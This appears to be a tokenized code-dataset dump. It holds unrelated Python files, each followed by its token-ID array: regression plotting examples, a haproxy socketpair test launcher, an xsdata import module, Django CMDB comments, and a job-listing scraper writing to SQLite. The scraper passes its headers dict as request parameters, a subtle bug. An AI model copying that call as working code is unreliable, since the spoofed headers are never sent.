= X_new_b.dot(theta) # not shown # style = "b-" if i > 0 else "r--" # not shown # plt.plot(X_new, y_predict, style) # not shown # random_index = np.random.randint(m) # xi = X_b[random_index:random_index+1] # yi = y[random_index:random_index+1] # gradients = 2 * xi.T.dot(xi.dot(theta) - yi) # eta = learning_schedule(epoch * m + i) # theta = theta - eta * gradients # theta_path_sgd.append(theta) # not shown # plt.plot(X, y, "b.") # not shown # plt.xlabel("$x_1$", fontsize=18) # not shown # plt.ylabel("$y$", rotation=0, fontsize=18) # not shown # plt.axis([0, 2, 0, 15]) # not shown # plt.show() # print(theta) # -------------------------Polynomial Regression------------------------- # np.random.seed(42) # m = 100 # X = 6 * np.random.rand(m, 1) - 3 # y = 0.5 * X**2 + X + 2 + np.random.randn(m, 1) # # poly_features = PolynomialFeatures(degree=2, include_bias=False) # X_poly = poly_features.fit_transform(X) # lin_reg = LinearRegression() # lin_reg.fit(X_poly, y) # # X_new=np.linspace(-3, 3, 100).reshape(100, 1) # X_new_poly = poly_features.transform(X_new) # y_new = lin_reg.predict(X_new_poly) # for style, width, degree in (("g-", 1, 300), ("b--", 2, 2), ("r-+", 2, 1)): # polybig_features = PolynomialFeatures(degree=degree, include_bias=False) # std_scaler = StandardScaler() # lin_reg = LinearRegression() # polynomial_regression = Pipeline([ # ("poly_features", polybig_features), # ("std_scaler", std_scaler), # ("lin_reg", lin_reg), # ]) # polynomial_regression.fit(X, y) # y_newbig = polynomial_regression.predict(X_new) # plt.plot(X_new, y_newbig, style, label=str(degree), linewidth=width) # # plt.plot(X, y, "b.", linewidth=3) # plt.legend(loc="upper left") # plt.xlabel("$x_1$", fontsize=18) # plt.ylabel("$y$", rotation=0, fontsize=18) # plt.axis([-3, 3, 0, 10]) # plt.show() # -------------------------Learning Curves------------------------- # def plot_learning_curves(model, X, y): # X_train, X_val, y_train, y_val = train_test_split(X, y, test_size=0.2) # train_errors, val_errors = [], [] # for m in range(1, len(X_train)): # model.fit(X_train[:m], y_train[:m]) # y_train_predict = model.predict(X_train[:m]) # y_val_predict = model.predict(X_val) # train_errors.append(mean_squared_error(y_train_predict, y_train[:m])) # val_errors.append(mean_squared_error(y_val_predict, y_val)) # plt.plot(np.sqrt(train_errors), "r-+", linewidth=2, label="train") # plt.plot(np.sqrt(val_errors), "b-", linewidth=3, label="val") # # # polynomial_regression = Pipeline([ # ("poly_features", PolynomialFeatures(degree=10, include_bias=False)), # ("lin_reg", LinearRegression()), # ]) # plot_learning_curves(polynomial_regression, X, y) # plt.axis([0, 80, 0, 3]) # not shown in the book # plt.show() # -------------------------Regularized Linear Model------------------------- np.random.seed(42) m = 20 X = 3 * np.random.rand(m, 1) y = 1 + 0.5 * X + np.random.randn(m, 1) / 1.5 X_new = np.linspace(0, 3, 100).reshape(100, 1) plt.figure(figsize=(8,4)) plt.subplot(121) plot_model(Ridge, polynomial=False, alphas=(0, 10, 100), random_state=42) plt.ylabel("$y$", rotation=0, fontsize=18) plt.subplot(122) plot_model(Ridge, polynomial=True, alphas=(0, 10**-5, 1), random_state=42) plt.show()
[ 11748, 299, 32152, 355, 45941, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 6738, 1341, 35720, 13, 29127, 62, 19849, 1330, 44800, 8081, 2234, 11, 20614, 198, 6738, 1341, 35720, 13, 4164, 10466, 1330, 1612, 62, 16485, 1144, 62, 18224, 198, 6738, 1341, 35720, 13, 19849, 62, 49283, 1330, 4512, 62, 9288, 62, 35312, 198, 6738, 1341, 35720, 13, 79, 541, 4470, 1330, 37709, 198, 6738, 1341, 35720, 13, 3866, 36948, 1330, 12280, 26601, 498, 23595, 11, 8997, 3351, 36213, 198, 198, 2, 220, 22369, 6329, 464, 14435, 7889, 341, 19351, 12, 198, 2, 1395, 796, 362, 1635, 45941, 13, 25120, 13, 25192, 7, 3064, 11, 352, 8, 198, 2, 331, 796, 604, 1343, 513, 1635, 1395, 1343, 45941, 13, 25120, 13, 25192, 77, 7, 3064, 11, 352, 8, 198, 2, 198, 2, 1395, 62, 65, 796, 45941, 13, 66, 62, 58, 37659, 13, 1952, 19510, 3064, 11, 352, 36911, 1395, 60, 220, 1303, 751, 2124, 15, 796, 352, 284, 1123, 4554, 198, 2, 262, 8326, 62, 13466, 796, 45941, 13, 75, 1292, 70, 13, 16340, 7, 55, 62, 65, 13, 51, 13, 26518, 7, 55, 62, 65, 29720, 26518, 7, 55, 62, 65, 13, 51, 737, 26518, 7, 88, 8, 198, 2, 1395, 62, 3605, 796, 45941, 13, 18747, 26933, 58, 15, 4357, 685, 17, 11907, 8, 198, 2, 1395, 62, 3605, 62, 65, 796, 45941, 13, 66, 62, 58, 37659, 13, 1952, 19510, 17, 11, 352, 36911, 1395, 62, 3605, 60, 220, 1303, 751, 2124, 15, 796, 352, 284, 1123, 4554, 198, 2, 331, 62, 79, 17407, 796, 1395, 62, 3605, 62, 65, 13, 26518, 7, 1169, 8326, 62, 13466, 8, 198, 2, 458, 83, 13, 29487, 7, 55, 62, 3605, 11, 331, 62, 79, 17407, 11, 366, 81, 12, 1600, 9493, 413, 5649, 28, 17, 11, 6167, 2625, 39156, 9278, 4943, 198, 2, 458, 83, 13, 29487, 7, 55, 11, 331, 11, 366, 65, 19570, 198, 2, 458, 83, 13, 87, 18242, 7203, 3, 87, 62, 16, 3, 1600, 10369, 7857, 28, 1507, 8, 198, 2, 458, 83, 13, 2645, 9608, 7203, 3, 88, 3, 1600, 13179, 28, 15, 11, 10369, 7857, 28, 1507, 8, 198, 2, 458, 83, 13, 1455, 437, 7, 17946, 2625, 45828, 1364, 1600, 10369, 7857, 28, 1415, 8, 198, 2, 458, 83, 13, 22704, 26933, 15, 11, 362, 11, 657, 11, 1315, 12962, 198, 2, 458, 83, 13, 12860, 3419, 198, 2, 9493, 62, 2301, 796, 44800, 8081, 2234, 3419, 198, 2, 9493, 62, 2301, 13, 11147, 7, 55, 11, 331, 8, 198, 2, 3601, 7, 2815, 62, 2301, 13, 3849, 984, 62, 11, 9493, 62, 2301, 13, 1073, 891, 62, 8, 198, 2, 3601, 7, 2815, 62, 2301, 13, 79, 17407, 7, 55, 62, 3605, 4008, 628, 198, 2, 220, 22369, 12, 42731, 1153, 2935, 1087, 19351, 12, 198, 2, 825, 7110, 62, 49607, 62, 8906, 1087, 7, 1169, 8326, 11, 2123, 64, 11, 262, 8326, 62, 6978, 28, 14202, 2599, 198, 2, 220, 220, 220, 220, 285, 796, 18896, 7, 55, 62, 65, 8, 198, 2, 220, 220, 220, 220, 458, 83, 13, 29487, 7, 55, 11, 331, 11, 366, 65, 19570, 198, 2, 220, 220, 220, 220, 299, 62, 2676, 602, 796, 8576, 198, 2, 220, 220, 220, 220, 329, 24415, 287, 2837, 7, 77, 62, 2676, 602, 2599, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 611, 24415, 1279, 838, 25, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 331, 62, 79, 17407, 796, 1395, 62, 3605, 62, 65, 13, 26518, 7, 1169, 8326, 8, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3918, 796, 366, 65, 21215, 611, 24415, 1875, 657, 2073, 366, 81, 438, 1, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 458, 83, 13, 29487, 7, 55, 62, 3605, 11, 331, 62, 79, 17407, 11, 3918, 8, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 3915, 2334, 796, 362, 1220, 285, 1635, 1395, 62, 65, 13, 51, 13, 26518, 7, 55, 62, 65, 13, 26518, 7, 1169, 8326, 8, 532, 331, 8, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 262, 8326, 796, 262, 8326, 532, 2123, 64, 1635, 3915, 2334, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 611, 262, 8326, 62, 6978, 318, 407, 6045, 25, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 262, 8326, 62, 6978, 13, 33295, 7, 1169, 8326, 8, 198, 2, 220, 220, 220, 220, 458, 83, 13, 87, 18242, 7203, 3, 87, 62, 16, 3, 1600, 10369, 7857, 28, 1507, 8, 198, 2, 220, 220, 220, 220, 458, 83, 13, 22704, 26933, 15, 11, 362, 11, 657, 11, 1315, 12962, 198, 2, 220, 220, 220, 220, 458, 83, 13, 7839, 7, 81, 1, 3, 59, 17167, 796, 23884, 3, 1911, 18982, 7, 17167, 828, 10369, 7857, 28, 1433, 8, 628, 198, 2, 262, 8326, 62, 6978, 62, 65, 21287, 796, 17635, 198, 2, 45941, 13, 25120, 13, 28826, 7, 3682, 8, 198, 2, 262, 8326, 796, 45941, 13, 25120, 13, 25192, 77, 7, 17, 11, 352, 8, 220, 1303, 4738, 37588, 198, 2, 458, 83, 13, 26875, 7, 5647, 7857, 16193, 940, 11, 604, 4008, 198, 2, 458, 83, 13, 7266, 29487, 7, 22042, 1776, 29487, 62, 49607, 62, 8906, 1087, 7, 1169, 8326, 11, 2123, 64, 28, 15, 13, 2999, 8, 198, 2, 458, 83, 13, 2645, 9608, 7203, 3, 88, 3, 1600, 13179, 28, 15, 11, 10369, 7857, 28, 1507, 8, 198, 2, 458, 83, 13, 7266, 29487, 7, 19924, 1776, 29487, 62, 49607, 62, 8906, 1087, 7, 1169, 8326, 11, 2123, 64, 28, 15, 13, 16, 11, 262, 8326, 62, 6978, 28, 1169, 8326, 62, 6978, 62, 65, 21287, 8, 198, 2, 458, 83, 13, 7266, 29487, 7, 16945, 1776, 29487, 62, 49607, 62, 8906, 1087, 7, 1169, 8326, 11, 2123, 64, 28, 15, 13, 20, 8, 198, 2, 458, 83, 13, 12860, 3419, 628, 198, 2, 220, 22369, 12, 1273, 5374, 3477, 17701, 1153, 2935, 1087, 22369, 12, 198, 2, 262, 8326, 62, 6978, 62, 82, 21287, 796, 17635, 198, 2, 285, 796, 18896, 7, 55, 62, 65, 8, 198, 2, 45941, 13, 25120, 13, 28826, 7, 3682, 8, 198, 198, 2, 299, 62, 538, 5374, 82, 796, 2026, 198, 2, 256, 15, 11, 256, 16, 796, 642, 11, 2026, 220, 1303, 4673, 7269, 8718, 17143, 7307, 628, 198, 2, 825, 4673, 62, 15952, 5950, 7, 83, 2599, 198, 2, 220, 220, 220, 220, 1441, 256, 15, 1220, 357, 83, 1343, 256, 16, 8, 628, 198, 2, 262, 8326, 796, 45941, 13, 25120, 13, 25192, 77, 7, 17, 11, 16, 8, 220, 1303, 4738, 37588, 198, 2, 329, 36835, 287, 2837, 7, 77, 62, 538, 5374, 82, 2599, 198, 2, 220, 220, 220, 220, 329, 1312, 287, 2837, 7, 76, 2599, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 611, 36835, 6624, 657, 290, 1312, 1279, 1160, 25, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 407, 3402, 287, 262, 1492, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 331, 62, 79, 17407, 796, 1395, 62, 3605, 62, 65, 13, 26518, 7, 1169, 8326, 8, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 407, 3402, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3918, 796, 366, 65, 21215, 611, 1312, 1875, 657, 2073, 366, 81, 438, 1, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 407, 3402, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 458, 83, 13, 29487, 7, 55, 62, 3605, 11, 331, 62, 79, 17407, 11, 3918, 8, 220, 220, 220, 220, 220, 220, 220, 1303, 407, 3402, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 4738, 62, 9630, 796, 45941, 13, 25120, 13, 25192, 600, 7, 76, 8, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 2124, 72, 796, 1395, 62, 65, 58, 25120, 62, 9630, 25, 25120, 62, 9630, 10, 16, 60, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 331, 72, 796, 331, 58, 25120, 62, 9630, 25, 25120, 62, 9630, 10, 16, 60, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 3915, 2334, 796, 362, 1635, 2124, 72, 13, 51, 13, 26518, 7, 29992, 13, 26518, 7, 1169, 8326, 8, 532, 331, 72, 8, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 2123, 64, 796, 4673, 62, 15952, 5950, 7, 538, 5374, 1635, 285, 1343, 1312, 8, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 262, 8326, 796, 262, 8326, 532, 2123, 64, 1635, 3915, 2334, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 262, 8326, 62, 6978, 62, 82, 21287, 13, 33295, 7, 1169, 8326, 8, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 407, 3402, 198, 198, 2, 458, 83, 13, 29487, 7, 55, 11, 331, 11, 366, 65, 19570, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 407, 3402, 198, 2, 458, 83, 13, 87, 18242, 7203, 3, 87, 62, 16, 3, 1600, 10369, 7857, 28, 1507, 8, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 407, 3402, 198, 2, 458, 83, 13, 2645, 9608, 7203, 3, 88, 3, 1600, 13179, 28, 15, 11, 10369, 7857, 28, 1507, 8, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 407, 3402, 198, 2, 458, 83, 13, 22704, 26933, 15, 11, 362, 11, 657, 11, 1315, 12962, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 407, 3402, 198, 2, 458, 83, 13, 12860, 3419, 198, 2, 3601, 7, 1169, 8326, 8, 198, 198, 2, 220, 22369, 12, 34220, 26601, 498, 3310, 2234, 22369, 12, 628, 198, 2, 45941, 13, 25120, 13, 28826, 7, 3682, 8, 198, 2, 285, 796, 1802, 198, 2, 1395, 796, 718, 1635, 45941, 13, 25120, 13, 25192, 7, 76, 11, 352, 8, 532, 513, 198, 2, 331, 796, 657, 13, 20, 1635, 1395, 1174, 17, 1343, 1395, 1343, 362, 1343, 45941, 13, 25120, 13, 25192, 77, 7, 76, 11, 352, 8, 198, 2, 198, 2, 7514, 62, 40890, 796, 12280, 26601, 498, 23595, 7, 16863, 28, 17, 11, 2291, 62, 65, 4448, 28, 25101, 8, 198, 2, 1395, 62, 35428, 796, 7514, 62, 40890, 13, 11147, 62, 35636, 7, 55, 8, 198, 2, 9493, 62, 2301, 796, 44800, 8081, 2234, 3419, 198, 2, 9493, 62, 2301, 13, 11147, 7, 55, 62, 35428, 11, 331, 8, 198, 2, 198, 2, 1395, 62, 3605, 28, 37659, 13, 21602, 10223, 32590, 18, 11, 513, 11, 1802, 737, 3447, 1758, 7, 3064, 11, 352, 8, 198, 2, 1395, 62, 3605, 62, 35428, 796, 7514, 62, 40890, 13, 35636, 7, 55, 62, 3605, 8, 198, 2, 331, 62, 3605, 796, 9493, 62, 2301, 13, 79, 17407, 7, 55, 62, 3605, 62, 35428, 8, 198, 198, 2, 329, 3918, 11, 9647, 11, 4922, 287, 357, 7203, 70, 12, 1600, 352, 11, 5867, 828, 5855, 65, 438, 1600, 362, 11, 362, 828, 5855, 81, 19529, 1600, 362, 11, 352, 8, 2599, 198, 2, 220, 220, 220, 220, 7514, 14261, 62, 40890, 796, 12280, 26601, 498, 23595, 7, 16863, 28, 16863, 11, 2291, 62, 65, 4448, 28, 25101, 8, 198, 2, 220, 220, 220, 220, 14367, 62, 1416, 36213, 796, 8997, 3351, 36213, 3419, 198, 2, 220, 220, 220, 220, 9493, 62, 2301, 796, 44800, 8081, 2234, 3419, 198, 2, 220, 220, 220, 220, 745, 6213, 49070, 62, 2301, 2234, 796, 37709, 26933, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 5855, 35428, 62, 40890, 1600, 7514, 14261, 62, 40890, 828, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 5855, 19282, 62, 1416, 36213, 1600, 14367, 62, 1416, 36213, 828, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 5855, 2815, 62, 2301, 1600, 9493, 62, 2301, 828, 198, 2, 220, 220, 220, 220, 33761, 198, 2, 220, 220, 220, 220, 745, 6213, 49070, 62, 2301, 2234, 13, 11147, 7, 55, 11, 331, 8, 198, 2, 220, 220, 220, 220, 331, 62, 3605, 14261, 796, 745, 6213, 49070, 62, 2301, 2234, 13, 79, 17407, 7, 55, 62, 3605, 8, 198, 2, 220, 220, 220, 220, 458, 83, 13, 29487, 7, 55, 62, 3605, 11, 331, 62, 3605, 14261, 11, 3918, 11, 6167, 28, 2536, 7, 16863, 828, 9493, 413, 5649, 28, 10394, 8, 198, 2, 198, 2, 458, 83, 13, 29487, 7, 55, 11, 331, 11, 366, 65, 33283, 9493, 413, 5649, 28, 18, 8, 198, 2, 458, 83, 13, 1455, 437, 7, 17946, 2625, 45828, 1364, 4943, 198, 2, 458, 83, 13, 87, 18242, 7203, 3, 87, 62, 16, 3, 1600, 10369, 7857, 28, 1507, 8, 198, 2, 458, 83, 13, 2645, 9608, 7203, 3, 88, 3, 1600, 13179, 28, 15, 11, 10369, 7857, 28, 1507, 8, 198, 2, 458, 83, 13, 22704, 26933, 12, 18, 11, 513, 11, 657, 11, 838, 12962, 198, 2, 458, 83, 13, 12860, 3419, 628, 198, 2, 220, 22369, 12, 41730, 4424, 1158, 22369, 12, 198, 2, 825, 7110, 62, 40684, 62, 22019, 1158, 7, 19849, 11, 1395, 11, 331, 2599, 198, 2, 220, 220, 220, 220, 1395, 62, 27432, 11, 1395, 62, 2100, 11, 331, 62, 27432, 11, 331, 62, 2100, 796, 4512, 62, 9288, 62, 35312, 7, 55, 11, 331, 11, 1332, 62, 7857, 28, 15, 13, 17, 8, 198, 2, 220, 220, 220, 220, 4512, 62, 48277, 11, 1188, 62, 48277, 796, 685, 4357, 17635, 198, 2, 220, 220, 220, 220, 329, 285, 287, 2837, 7, 16, 11, 18896, 7, 55, 62, 27432, 8, 2599, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 2746, 13, 11147, 7, 55, 62, 27432, 58, 25, 76, 4357, 331, 62, 27432, 58, 25, 76, 12962, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 331, 62, 27432, 62, 79, 17407, 796, 2746, 13, 79, 17407, 7, 55, 62, 27432, 58, 25, 76, 12962, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 331, 62, 2100, 62, 79, 17407, 796, 2746, 13, 79, 17407, 7, 55, 62, 2100, 8, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 4512, 62, 48277, 13, 33295, 7, 32604, 62, 16485, 1144, 62, 18224, 7, 88, 62, 27432, 62, 79, 17407, 11, 331, 62, 27432, 58, 25, 76, 60, 4008, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 1188, 62, 48277, 13, 33295, 7, 32604, 62, 16485, 1144, 62, 18224, 7, 88, 62, 2100, 62, 79, 17407, 11, 331, 62, 2100, 4008, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 458, 83, 13, 29487, 7, 37659, 13, 31166, 17034, 7, 27432, 62, 48277, 828, 366, 81, 19529, 1600, 9493, 413, 5649, 28, 17, 11, 6167, 2625, 27432, 4943, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 458, 83, 13, 29487, 7, 37659, 13, 31166, 17034, 7, 2100, 62, 48277, 828, 366, 65, 12, 1600, 9493, 413, 5649, 28, 18, 11, 6167, 2625, 2100, 4943, 198, 2, 198, 2, 198, 2, 745, 6213, 49070, 62, 2301, 2234, 796, 37709, 26933, 198, 2, 220, 220, 220, 220, 5855, 35428, 62, 40890, 1600, 12280, 26601, 498, 23595, 7, 16863, 28, 940, 11, 2291, 62, 65, 4448, 28, 25101, 36911, 198, 2, 220, 220, 220, 220, 5855, 2815, 62, 2301, 1600, 44800, 8081, 2234, 3419, 828, 198, 2, 33761, 198, 2, 7110, 62, 40684, 62, 22019, 1158, 7, 35428, 26601, 498, 62, 2301, 2234, 11, 1395, 11, 331, 8, 198, 2, 458, 83, 13, 22704, 26933, 15, 11, 4019, 11, 657, 11, 513, 12962, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 407, 3402, 287, 262, 1492, 198, 2, 458, 83, 13, 12860, 3419, 628, 198, 2, 220, 22369, 12, 40164, 1143, 44800, 9104, 22369, 12, 198, 37659, 13, 25120, 13, 28826, 7, 3682, 8, 198, 76, 796, 1160, 198, 55, 796, 513, 1635, 45941, 13, 25120, 13, 25192, 7, 76, 11, 352, 8, 198, 88, 796, 352, 1343, 657, 13, 20, 1635, 1395, 1343, 45941, 13, 25120, 13, 25192, 77, 7, 76, 11, 352, 8, 1220, 352, 13, 20, 198, 55, 62, 3605, 796, 45941, 13, 21602, 10223, 7, 15, 11, 513, 11, 1802, 737, 3447, 1758, 7, 3064, 11, 352, 8, 198, 198, 489, 83, 13, 26875, 7, 5647, 7857, 16193, 23, 11, 19, 4008, 198, 489, 83, 13, 7266, 29487, 7, 19244, 8, 198, 29487, 62, 19849, 7, 49, 3130, 11, 745, 6213, 49070, 28, 25101, 11, 435, 5902, 16193, 15, 11, 838, 11, 1802, 828, 4738, 62, 5219, 28, 3682, 8, 198, 489, 83, 13, 2645, 9608, 7203, 3, 88, 3, 1600, 13179, 28, 15, 11, 10369, 7857, 28, 1507, 8, 198, 489, 83, 13, 7266, 29487, 7, 18376, 8, 198, 29487, 62, 19849, 7, 49, 3130, 11, 745, 6213, 49070, 28, 17821, 11, 435, 5902, 16193, 15, 11, 838, 1174, 12, 20, 11, 352, 828, 4738, 62, 5219, 28, 3682, 8, 198, 198, 489, 83, 13, 12860, 3419, 198 ]
2.144903
2,933
#!/usr/bin/python """ Python wrapper example to test socketpair protocol ./test-socketpair.py test.cfg use sockpair@${FD1} and sockpair@${FD2} in your configuration file """ import socket, os, sys s = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM) os.set_inheritable(s[0].fileno(), 1) os.set_inheritable(s[1].fileno(), 1) FD1 = s[0].fileno() FD2 = s[1].fileno() print("FD1={} FD2={}".format(FD1, FD2)) os.environ["FD1"] = str(FD1) os.environ["FD2"] = str(FD2) cmd = ["./haproxy", "-f", "{}".format(sys.argv[1]) ] os.execve(cmd[0], cmd, os.environ)
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 37811, 198, 37906, 29908, 1672, 284, 1332, 17802, 24874, 8435, 198, 19571, 9288, 12, 44971, 24874, 13, 9078, 1332, 13, 37581, 198, 198, 1904, 32263, 24874, 31, 38892, 26009, 16, 92, 290, 32263, 24874, 31, 38892, 26009, 17, 92, 287, 534, 8398, 2393, 198, 198, 37811, 198, 198, 11748, 17802, 11, 28686, 11, 25064, 198, 198, 82, 796, 17802, 13, 44971, 24874, 7, 44971, 13, 8579, 62, 4944, 10426, 11, 17802, 13, 50, 11290, 62, 2257, 32235, 8, 198, 418, 13, 2617, 62, 259, 372, 4674, 7, 82, 58, 15, 4083, 10379, 23397, 22784, 352, 8, 198, 418, 13, 2617, 62, 259, 372, 4674, 7, 82, 58, 16, 4083, 10379, 23397, 22784, 352, 8, 198, 198, 26009, 16, 796, 264, 58, 15, 4083, 10379, 23397, 3419, 198, 26009, 17, 796, 264, 58, 16, 4083, 10379, 23397, 3419, 198, 198, 4798, 7203, 26009, 16, 34758, 92, 30002, 17, 34758, 92, 1911, 18982, 7, 26009, 16, 11, 30002, 17, 4008, 198, 198, 418, 13, 268, 2268, 14692, 26009, 16, 8973, 796, 965, 7, 26009, 16, 8, 198, 418, 13, 268, 2268, 14692, 26009, 17, 8973, 796, 965, 7, 26009, 17, 8, 198, 198, 28758, 796, 685, 1911, 14, 45897, 42059, 1600, 198, 220, 220, 220, 220, 220, 220, 27444, 69, 1600, 198, 220, 220, 220, 220, 220, 220, 45144, 92, 1911, 18982, 7, 17597, 13, 853, 85, 58, 16, 12962, 198, 60, 198, 418, 13, 18558, 303, 7, 28758, 58, 15, 4357, 23991, 11, 28686, 13, 268, 2268, 8, 198 ]
2.253906
256
from output.models.sun_data.elem_decl.abstract.abstract00101m.abstract00101m_xsd.abstract00101m import ( Head, HeadType, Member1, Root, ) __all__ = [ "Head", "HeadType", "Member1", "Root", ]
[ 6738, 5072, 13, 27530, 13, 19155, 62, 7890, 13, 68, 10671, 62, 32446, 13, 397, 8709, 13, 397, 8709, 8298, 486, 76, 13, 397, 8709, 8298, 486, 76, 62, 87, 21282, 13, 397, 8709, 8298, 486, 76, 1330, 357, 198, 220, 220, 220, 7123, 11, 198, 220, 220, 220, 7123, 6030, 11, 198, 220, 220, 220, 10239, 16, 11, 198, 220, 220, 220, 20410, 11, 198, 8, 198, 198, 834, 439, 834, 796, 685, 198, 220, 220, 220, 366, 13847, 1600, 198, 220, 220, 220, 366, 13847, 6030, 1600, 198, 220, 220, 220, 366, 27608, 16, 1600, 198, 220, 220, 220, 366, 30016, 1600, 198, 60, 198 ]
2.093458
107
# This file is part of the Edison Project. # Please refer to the LICENSE document that was supplied with this software for information on how it can be used. from django.db import models from django.contrib.auth.models import User # These are the models required for the basic CMDB # First, Define our list of countries # Now define the counties/States that we can use # Where do people/things live? # What companies are there that we might want to talk to? # A list of all our contacts both within and external to the company we work for # Our Datacentres # The rooms in the datacentres # The suites in the datacentres # The racks in the suites in the rooms in the datacentres.... # The different classes of configuration items # The network interfaces that are assigned to configuration items # the following classes are based on the libvirt xml standard, although they do not contain all the possible options # Configuration Item Profiles # The configuration items (servers/switches etc)
[ 2, 770, 2393, 318, 636, 286, 262, 37448, 4935, 13, 198, 2, 4222, 3522, 284, 262, 38559, 24290, 3188, 326, 373, 14275, 351, 428, 3788, 329, 1321, 319, 703, 340, 460, 307, 973, 13, 198, 6738, 42625, 14208, 13, 9945, 1330, 4981, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 27530, 1330, 11787, 198, 198, 2, 2312, 389, 262, 4981, 2672, 329, 262, 4096, 16477, 11012, 198, 198, 2, 3274, 11, 2896, 500, 674, 1351, 286, 2678, 198, 220, 220, 220, 220, 198, 220, 220, 220, 220, 198, 2, 2735, 8160, 262, 14683, 14, 42237, 326, 356, 460, 779, 198, 198, 2, 6350, 466, 661, 14, 27971, 2107, 30, 198, 198, 2, 1867, 2706, 389, 612, 326, 356, 1244, 765, 284, 1561, 284, 30, 198, 220, 220, 220, 220, 198, 2, 317, 1351, 286, 477, 674, 13961, 1111, 1626, 290, 7097, 284, 262, 1664, 356, 670, 329, 628, 220, 220, 220, 220, 198, 2, 3954, 16092, 12643, 411, 198, 198, 2, 383, 9519, 287, 262, 4818, 12643, 411, 198, 220, 220, 220, 220, 198, 2, 383, 45861, 287, 262, 4818, 12643, 411, 198, 198, 2, 383, 39843, 287, 262, 45861, 287, 262, 9519, 287, 262, 4818, 12643, 411, 1106, 198, 198, 2, 383, 1180, 6097, 286, 8398, 3709, 198, 198, 2, 383, 3127, 20314, 326, 389, 8686, 284, 8398, 3709, 628, 198, 2, 262, 1708, 6097, 389, 1912, 319, 262, 9195, 48940, 35555, 3210, 11, 3584, 484, 466, 407, 3994, 477, 262, 1744, 3689, 198, 198, 2, 28373, 9097, 4415, 2915, 628, 198, 2, 383, 8398, 3709, 357, 2655, 690, 14, 2032, 9249, 3503, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 628 ]
3.754513
277
from bs4 import BeautifulSoup import requests import sqlite3 conn = sqlite3.connect("output.db") cur = conn.cursor() headers = { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET', 'Access-Control-Allow-Headers': 'Content-Type', 'Access-Control-Max-Age': '3600', 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/84.0' } url = "https://www.brightermonday.co.ke/jobs" response = requests.get(url, headers, timeout=5) content = BeautifulSoup(response.content, "html.parser") # article = content.find('article', attrs={"class": "search-result"}) # employer = article.find('div', attrs={"class": "search-result__job-meta"}) # print(article.prettify()) # print(employer.text) job_posting = [] for posting in content.findAll('article', attrs={"class": "search-result"}): job_post = { "title": posting.find('h3').text, "link": posting.find('a').get('href'), "employer": posting.find('div', attrs={"class": "search-result__job-meta"}).text, } job_posting.append(job_post) # writing to database for job_post in job_posting: cur.execute("INSERT INTO scraped_data (title, link, employer) values (?, ?, ?)", (job_post["title"], job_post["link"], job_post["employer"]) )
